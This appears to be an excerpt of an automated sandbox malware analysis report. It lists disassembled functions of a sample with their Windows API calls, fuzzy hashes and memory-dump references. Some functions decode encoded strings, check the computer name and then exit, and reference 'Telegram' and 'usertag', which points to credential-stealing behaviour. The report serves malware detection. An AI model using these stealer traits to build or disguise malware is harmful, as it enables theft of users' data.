Instruction Fuzzy Hash: 5191BE71A047418FCB30CE29D88066BF7E4AF81314F148A6FE89A97B92D775EC40CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00407F80 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00407FF0

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: e69f680ae4525ff5d97062f33c62ec92990db24ef0866e937ad9e28650d42498
Instruction ID: edde7d1d9cdedf778057e80348cdde2e0f17513281997ba45b98335a934732b4
Opcode Fuzzy Hash: e69f680ae4525ff5d97062f33c62ec92990db24ef0866e937ad9e28650d42498
Instruction Fuzzy Hash: 33212971B003059BD720DE299D41AAB73A8EF54320F10467EEC95973C2EE34AC158795

Uniqueness

Uniqueness Score: -1.00%

Function 0041FC70 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(1A5A77C2,1A5A77C2,?,00000010), ref: 0041FCA8

Part of subcall function 00424450: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 004245BC

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: InfoIos_base_dtorSystemstd::ios_base::_
String ID:
API String ID: 1980665618-0
Opcode ID: 9f213df499f26c41b08cb181f88d714a236acf82a0b28728f50df0d4023e6af7
Instruction ID: 94524c3f5384ef0acfa33cee2eb6c0f2e2b0b4d5cc0f1ed3855dfb3f780ffce5
Opcode Fuzzy Hash: 9f213df499f26c41b08cb181f88d714a236acf82a0b28728f50df0d4023e6af7
Instruction Fuzzy Hash: 9421D571A046089FDB14DF98D844BEEBBF9FF48714F00452EE816A7341D778A909CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00404A40 Relevance: 1.6, APIs: 1, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,00000040,?), ref: 00404AB5

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: de8fac0f4a017e4b4b8eb34d5b2424078fd3ef89811e9402caf9f0e890799b78
Instruction ID: 4cf88421b966a4fca3012450178cb4433d8b643daeec3dae5d487f588ef0009a
Opcode Fuzzy Hash: de8fac0f4a017e4b4b8eb34d5b2424078fd3ef89811e9402caf9f0e890799b78
Instruction Fuzzy Hash: B01182B17841159FDB24DFD8D8807A6F3D9FB88300F10053BEA49D7280D679AD919B9E

Uniqueness

Uniqueness Score: -1.00%

Function 004327C6 Relevance: 1.6, APIs: 1, Instructions: 52memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0042DE38,0042B7A0,?,00000000,00000000,00000000,?,004317F0,00000001,00000214), ref: 00432809

Part of subcall function 0042EF91: __getptd_noexit.LIBCMT ref: 0042EF91

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeap__getptd_noexit
String ID:
API String ID: 328603210-0
Opcode ID: dceda4e186023d630d148871e5d54f5d4c742f73510c2dd31d16d8a8c3124b0f
Instruction ID: a965bcfee58329843b6aab109d9e51af9bf3666311d3aba7c0fea2b4993c5551
Opcode Fuzzy Hash: dceda4e186023d630d148871e5d54f5d4c742f73510c2dd31d16d8a8c3124b0f
Instruction Fuzzy Hash: EA0124312012119BEB28AF25DD04B6B3794BF99360F10562BE815CB2E0DBBCDC40C658

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD80 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

Part of subcall function 0041F450: GetComputerNameA.KERNEL32 ref: 0041F47F

ExitProcess.KERNEL32 ref: 0040ADEE

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: ComputerExitNameProcess
String ID:
API String ID: 359086898-0
Opcode ID: cd5edbc696d05b14e31b48f88dd01b33965416594e05f60e044e178acd44d798
Instruction ID: d54d63990879ac51dccf07587f2cfced4aefb78371be0d5d88227e92755a231c
Opcode Fuzzy Hash: cd5edbc696d05b14e31b48f88dd01b33965416594e05f60e044e178acd44d798
Instruction Fuzzy Hash: 4201A75292839147C7215B346C312E33BD34D3236675946B2DCD5A77D2F22DDC68834A

Uniqueness

Uniqueness Score: -1.00%

Function 00420DE0 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(0040C358,?,0040C358,?), ref: 00420DE7

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: b5f88bc6dde6033048c455c58985261172a518b153f4437861939dfa56f65956
Instruction ID: 690538a6893f16fc5a2d6ea996b874359e9f7c72b60c5fce347bb3d18ec67452
Opcode Fuzzy Hash: b5f88bc6dde6033048c455c58985261172a518b153f4437861939dfa56f65956
Instruction Fuzzy Hash: E4D012722652080BD710AAECB84C957739D9F24334F808622F518C66D1E6B9F8A28158

Uniqueness

Uniqueness Score: -1.00%

Function 00420DB0 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,?,0040BBB0,00000000,?,?,?,?,?,?,?,1A5A77C2), ref: 00420DB7

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 9868ab98fbdb787d22393fcb94f3a1306830e3281af14e6daf35feb11588eda9
Instruction ID: 29ce65f2d3be7e09a26884ce35ef2ddf4dc42398657383d7476669fb0d6b1ec9
Opcode Fuzzy Hash: 9868ab98fbdb787d22393fcb94f3a1306830e3281af14e6daf35feb11588eda9
Instruction Fuzzy Hash: 28D012722262080AD710A6FCB848997738C9F24334F908A23F528C62D1E675FC618258

Uniqueness

Uniqueness Score: -1.00%

Function 004069B0 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

_calloc.LIBCMT ref: 004069BB

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: _calloc
String ID:
API String ID: 1679841372-0
Opcode ID: 6809b9eef8cd2e041bca06882b19c7181df337c5e3b33073c148bb479ab70348
Instruction ID: a3371302367a307e2097fae284962397a56b1f480783afdb7d309971be3212e5
Opcode Fuzzy Hash: 6809b9eef8cd2e041bca06882b19c7181df337c5e3b33073c148bb479ab70348
Instruction Fuzzy Hash: 32B092B666034C6B8A44AE99AC42C6A739CAA48614F844419FE1C87301EA36F9208AB5

Uniqueness

Uniqueness Score: -1.00%

Function 0043034B Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

_doexit.LIBCMT ref: 00430357

Part of subcall function 0043020B: __lock.LIBCMT ref: 00430219
Part of subcall function 0043020B: DecodePointer.KERNEL32(00453538,00000020,00430372,0042B7A0,00000001,00000000,?,004303B2,000000FF,?,004332E5,00000011,0042B7A0,?,0043175B,0000000D), ref: 00430255
Part of subcall function 0043020B: DecodePointer.KERNEL32(?,004303B2,000000FF,?,004332E5,00000011,0042B7A0,?,0043175B,0000000D), ref: 00430266
Part of subcall function 0043020B: DecodePointer.KERNEL32(-00000004,?,004303B2,000000FF,?,004332E5,00000011,0042B7A0,?,0043175B,0000000D), ref: 0043028C
Part of subcall function 0043020B: DecodePointer.KERNEL32(?,004303B2,000000FF,?,004332E5,00000011,0042B7A0,?,0043175B,0000000D), ref: 0043029F
Part of subcall function 0043020B: DecodePointer.KERNEL32(?,004303B2,000000FF,?,004332E5,00000011,0042B7A0,?,0043175B,0000000D), ref: 004302A9

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: DecodePointer$__lock_doexit
String ID:
API String ID: 3343572566-0
Opcode ID: b7f9ddcf0c01e83a82a0f1c6c29853ea6c7db7599a0eb0d3eddd439c3244ce42
Instruction ID: 038a147dae39bb46a8b9aba58c1ee64b33e3716478fa28b65bee76844d63c9c3
Opcode Fuzzy Hash: b7f9ddcf0c01e83a82a0f1c6c29853ea6c7db7599a0eb0d3eddd439c3244ce42
Instruction Fuzzy Hash: B3B0927258030833DA212542AC07F463E0997D0B68E250061BA1C191A1A9A2A9618189

Uniqueness

Uniqueness Score: -1.00%

Function 004069D0 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004069D7

Part of subcall function 0042AD2D: RtlFreeHeap.NTDLL(00000000,00000000,?,0043182F,00000000,?,?,0042EF96,0042AD22,?), ref: 0042AD43
Part of subcall function 0042AD2D: GetLastError.KERNEL32(00000000,?,0043182F,00000000,?,?,0042EF96,0042AD22,?), ref: 0042AD55

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: ErrorFreeHeapLast_free
String ID:
API String ID: 1353095263-0
Opcode ID: 113a422315c67fed1b947c44fc7218b91f3ed6750e1caca381b8dc7423216189
Instruction ID: 36391bec68b7afc5e2d650c850fcd204d12727b7a488f0a5357d9f17ccdd5f2b
Opcode Fuzzy Hash: 113a422315c67fed1b947c44fc7218b91f3ed6750e1caca381b8dc7423216189
Instruction Fuzzy Hash: 2DB012F291030C23D90065D9780280633CC0604529B444062BD0D47602E835F5208197

Uniqueness

Uniqueness Score: -1.00%

Function 00420CF0 Relevance: 1.3, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0041A262,00000000,?,00000000,?,0041A261,0043F608,?,1A5A77C2,00000000,00000000,?,0043F608,000000FF), ref: 00420D0C

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 949ede4e608f374f5157a4ae5f32b0bc24469dfbfceec36a4bf859cfe2ea8eff
Instruction ID: 58e1207450293d48a517208f34c56c3c8792968a6326fb86bbf3e06cefe19b76
Opcode Fuzzy Hash: 949ede4e608f374f5157a4ae5f32b0bc24469dfbfceec36a4bf859cfe2ea8eff
Instruction Fuzzy Hash: 04F0EC763126292FD31209ADB840A67F7DDEFC9A50754413BEA48DB317DD65EC0142E4

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00415600 Relevance: 9.1, APIs: 6, Instructions: 114stringencryptionCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00415639
lstrlen.KERNEL32(004161D4,00000001,?,?,00000000,00000000,?,004161D4,00000003,?,?,?,00418437), ref: 00415656
CryptStringToBinaryA.CRYPT32(004161D4,00000000,?,004161D4,00000003), ref: 0041565E
_memmove.LIBCMT ref: 004156E9
lstrcat.KERNEL32(0044B708,0044B70A), ref: 0041572D
lstrcat.KERNEL32(0044B708,0044B70B), ref: 0041575A

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptString_memmove_memsetlstrlen
String ID:
API String ID: 943939369-0
Opcode ID: 015900d65aaf1fbd4413c6565399e3dce23b2b3cd6f2ab121606fb165145804f
Instruction ID: 1d7dda776a7bbd770ec1c4f1d170a9985838cc08a2ae13e52bef8a52454579a5
Opcode Fuzzy Hash: 015900d65aaf1fbd4413c6565399e3dce23b2b3cd6f2ab121606fb165145804f
Instruction Fuzzy Hash: B931DC71F00219ABD7109B55EC85AEE77B8EF88345F4400BBF90DD6141D7785A448FDA

Uniqueness

Uniqueness Score: -1.00%

Function 0043705F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00000000,00000002,?,?,0043769C,?,0042E49D,?,000000BC,?,00000001,00000000,00000000), ref: 0043709E
GetLocaleInfoW.KERNEL32(?,20001004,00000000,00000002,?,?,0043769C,?,0042E49D,?,000000BC,?,00000001,00000000,00000000), ref: 004370C7
GetACP.KERNEL32(?,?,0043769C,?,0042E49D,?,000000BC,?,00000001,00000000), ref: 004370DB

Strings

OCP, xrefs: 0043707F
ACP, xrefs: 0043706E

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: b120c407f678b03670ca54adc79f2c4ef6e870ad323d31c8f563f63ed706a2a4
Instruction ID: 040b28c039a978288278f3466aa60216cd479e8e537d7269f6f4a15892bd5e08
Opcode Fuzzy Hash: b120c407f678b03670ca54adc79f2c4ef6e870ad323d31c8f563f63ed706a2a4
Instruction Fuzzy Hash: 0F012870708606BAE73597A0EC01B9B76F8AF09328F20406BF541E11D1DB68CE81965D

Uniqueness

Uniqueness Score: -1.00%

Function 0044B541 Relevance: 7.4, Strings: 4, Instructions: 2432COMMON

Download Yara Rule

Strings

.json, xrefs: 0044C448
boun, xrefs: 0044B5A0
usertag, xrefs: 0044C480
Telegram, xrefs: 0044C474

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .json$Telegram$boun$usertag
API String ID: 0-2285921062
Opcode ID: 0c880ecdeca1ef8a85103f7708b59bcaca20a6951f5b06710bc75fb11b6a5261
Instruction ID: 065d55a59ec2f4326ae3d9be838d50b7e1294cb275f7b65f968098d8520bf361
Opcode Fuzzy Hash: 0c880ecdeca1ef8a85103f7708b59bcaca20a6951f5b06710bc75fb11b6a5261
Instruction Fuzzy Hash: E713996244E7C45FE7178B704ABA691BF71AE1320071E85CFC4C18F4B3D2589A19D7AB

Uniqueness

Uniqueness Score: -1.00%

Function 0044B55C Relevance: 7.1, Strings: 4, Instructions: 2090COMMON

Download Yara Rule

Strings

.json, xrefs: 0044C448
boun, xrefs: 0044B5A0
usertag, xrefs: 0044C480
Telegram, xrefs: 0044C474

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .json$Telegram$boun$usertag
API String ID: 0-2285921062
Opcode ID: a8891ef84ddff329156cc458fb445cbbae86ea142e665e7f2856a5b04906973d
Instruction ID: 6b5d5f1ac7d951d2a2667cf386f42c162de93f31a06318457fbd7f4aad6e95fd
Opcode Fuzzy Hash: a8891ef84ddff329156cc458fb445cbbae86ea142e665e7f2856a5b04906973d
Instruction Fuzzy Hash: 46F29A6244E7C45FE7178B704ABA651BF74AE13200B1E85CFC4C18F4B3D258AA19D7AB

Uniqueness

Uniqueness Score: -1.00%

Function 0044B568 Relevance: 7.1, Strings: 4, Instructions: 2087COMMON

Download Yara Rule

Strings

.json, xrefs: 0044C448
boun, xrefs: 0044B5A0
usertag, xrefs: 0044C480
Telegram, xrefs: 0044C474

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .json$Telegram$boun$usertag
API String ID: 0-2285921062
Opcode ID: 585976840c2718a290c267923c7f82206af6d08710df896d0650411712a9d385
Instruction ID: caea02336d1edcaccf6d8718dc375a55521f35573022863397b04664aa4dd03d
Opcode Fuzzy Hash: 585976840c2718a290c267923c7f82206af6d08710df896d0650411712a9d385
Instruction Fuzzy Hash: 19F29A6244E7C45FE7178B704ABA651BF74AE13200B1E85CFC4C18F4B3D258AA19D7AB

Uniqueness

Uniqueness Score: -1.00%

Function 0044B56C Relevance: 7.1, Strings: 4, Instructions: 2086COMMON

Download Yara Rule

Strings

.json, xrefs: 0044C448
boun, xrefs: 0044B5A0
usertag, xrefs: 0044C480
Telegram, xrefs: 0044C474

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .json$Telegram$boun$usertag
API String ID: 0-2285921062
Opcode ID: 39b935c61765c774a36697d2d67a96f183d35410db43458518a59a5b3f01e813
Instruction ID: 29c470b14736287b45c37dd43dd76547cadc8e7f8a9ee60cc25af30c8d3129c8
Opcode Fuzzy Hash: 39b935c61765c774a36697d2d67a96f183d35410db43458518a59a5b3f01e813
Instruction Fuzzy Hash: 21F2AA6244E7C45FE7178B704ABA651BF74AE13200B1E85CFC4C18F4B3D258AA19D7AB

Uniqueness

Uniqueness Score: -1.00%

Function 00415820 Relevance: 6.1, APIs: 4, Instructions: 54encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(-00000010,00000000,00000001,00000000,0043F608,00000000,00000000), ref: 00415847
LocalAlloc.KERNEL32(00000040,00000000,?,0041A2E9,000000FF,0043F608,00000000,-00000010,-0000000F,?,?,1A5A77C2,00000000,00000000,?,0043F608), ref: 00415856
CryptStringToBinaryA.CRYPT32(-00000010,00000000,00000001,00000000,0043F608,00000000,00000000), ref: 0041586D
LocalFree.KERNEL32(?,?,0041A2E9,000000FF,0043F608,00000000,-00000010,-0000000F,?,?,1A5A77C2,00000000,00000000,?,0043F608,000000FF), ref: 0041587C

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: d82194b62ec097a50327b692878c0c07f05ef3a1d275dc2af8a32ef3fd237d26
Instruction ID: 3c4898442e3a872a90e262557aa69e709759066c7ca374ed0101f1cc43fbb136
Opcode Fuzzy Hash: d82194b62ec097a50327b692878c0c07f05ef3a1d275dc2af8a32ef3fd237d26
Instruction Fuzzy Hash: 35014471384312BBE7205F959C45F97B79CEF447A1F200026FA04EB2C0E6F5A85087A8

Uniqueness

Uniqueness Score: -1.00%

Function 0044B5E8 Relevance: 5.8, Strings: 3, Instructions: 2023COMMON

Download Yara Rule

Strings

.json, xrefs: 0044C448
usertag, xrefs: 0044C480
Telegram, xrefs: 0044C474

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .json$Telegram$usertag
API String ID: 0-829462355
Opcode ID: 99c233571d82d78380a12489bcddc8b7d064719fe085e86419af6481102276bb
Instruction ID: ba645563dd77c674f4f21223a3347b4a6083bf234e7c7a6ca89bd24a0697da29
Opcode Fuzzy Hash: 99c233571d82d78380a12489bcddc8b7d064719fe085e86419af6481102276bb
Instruction Fuzzy Hash: EEF2AB6244E7C45FE7178B704ABA251BF71AE13600B1E85CFC4C18F4B3D258AA19D7AB

Uniqueness

Uniqueness Score: -1.00%

Function 0044B614 Relevance: 5.8, Strings: 3, Instructions: 2007COMMON

Download Yara Rule

Strings

.json, xrefs: 0044C448
usertag, xrefs: 0044C480
Telegram, xrefs: 0044C474

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .json$Telegram$usertag
API String ID: 0-829462355
Opcode ID: ca7d16f2b0efbd74f7b703a8ca6b5863c922b27c0579d1ae9d8aad55079e4f7e
Instruction ID: 01b9eefc7cbf26c671bbced267a6e2e76bdc38e9af1dd3b341bd402c550c4e4b
Opcode Fuzzy Hash: ca7d16f2b0efbd74f7b703a8ca6b5863c922b27c0579d1ae9d8aad55079e4f7e
Instruction Fuzzy Hash: 6BF2AB6244E7C45FE7178B704ABA251BF71AE13600B1E85CFC4C18F4B3D258AA19D7AB

Uniqueness

Uniqueness Score: -1.00%

Function 0044B620 Relevance: 5.8, Strings: 3, Instructions: 2004COMMON

Download Yara Rule

Strings

.json, xrefs: 0044C448
boun, xrefs: 0044B5A0
usertag, xrefs: 0044C480
Telegram, xrefs: 0044C474

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .json$Telegram$boun$usertag
API String ID: 0-2285921062
Opcode ID: bfc28f7dcbff65506f36856bcb28d2991be51518f2be64de60daa58145cad9a7
Instruction ID: 51dd688c3ecaa11a6620500263571bbf1fde489cbb5238cabf9fba77e59f2ef5
Opcode Fuzzy Hash: bfc28f7dcbff65506f36856bcb28d2991be51518f2be64de60daa58145cad9a7
Instruction Fuzzy Hash: BAF29B6244E7C45FE7178B704ABA251BF71AE13600B1E85CFC4C18F4B3D258AA19D7AB

Uniqueness

Uniqueness Score: -1.00%

Function 0044B62C Relevance: 5.8, Strings: 3, Instructions: 2001COMMON

Download Yara Rule

Strings

.json, xrefs: 0044C448
boun, xrefs: 0044B5A0
usertag, xrefs: 0044C480
Telegram, xrefs: 0044C474

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .json$Telegram$boun$usertag
API String ID: 0-2285921062
Opcode ID: 4b5d2183d34f24da7c74c2225942ef0596fd87a97f67f07e662ab4c83f564313
Instruction ID: 525c24bf577729b0032be5fd9fdaaa8e9532e6694bce4f7f78b016c45d21ec53
Opcode Fuzzy Hash: 4b5d2183d34f24da7c74c2225942ef0596fd87a97f67f07e662ab4c83f564313
Instruction Fuzzy Hash: 13F29B6244E7C45FE7178B704ABA251BF71AE13600B1E85CFC4C18F4B3D258AA19D7AB

Uniqueness

Uniqueness Score: -1.00%

Function 0044B668 Relevance: 5.7, Strings: 3, Instructions: 1980COMMON

Download Yara Rule

Strings

.json, xrefs: 0044C448
boun, xrefs: 0044B5A0
usertag, xrefs: 0044C480
Telegram, xrefs: 0044C474

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .json$Telegram$boun$usertag
API String ID: 0-2285921062
